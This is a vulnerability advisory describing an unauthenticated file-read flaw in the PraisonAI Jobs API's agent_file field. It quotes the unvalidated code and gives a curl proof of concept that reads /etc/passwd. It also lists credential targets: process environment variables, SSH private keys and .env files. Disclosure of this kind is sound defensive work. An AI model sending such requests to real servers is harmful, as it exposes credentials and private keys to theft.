PraisonAI: Unauthenticated Local File Inclusion via agent_file path in PraisonAI Jobs API

### Summary An unauthenticated attacker can read arbitrary files on the server by supplying an absolute filesystem path in the `agent_file` field of the Jobs API. The field has no path validation, no allowlist, and no authentication is required to submit jobs. ### Details The `agent_file` field in `JobSubmitRequest` accepts any filesystem path with no validation: ```python # src/praisonai/praisonai/jobs/models.py:29 agent_file: Optional[str] = Field(None, description="Path to agents.yaml file") # NO path validator, NO allowlist ``` The executor reads the file directly: ```python # src/praisonai/praisonai/jobs/executor.py:221 agent_file = job.agent_file or "agents.yaml" # passed directly to yaml.safe_load(open(agent_file)) ``` ### Proof of Concept ```bash curl -X POST http://:8005/api/v1/runs \ -H "Content-Type: application/json" \ -d '{"prompt": "run", "agent_file": "/etc/passwd"}' ``` Server responds with contents of `/etc/passwd`. Other exploitable paths: - `/proc/1/environ` — environment variables, API keys - `/home//.ssh/id_rsa` — SSH private keys - `/app/.env` — application secrets ### Impact Any unauthenticated attacker with network access to port 8005 can read any file accessible to the server process, including credentials, private keys, and environment variables.
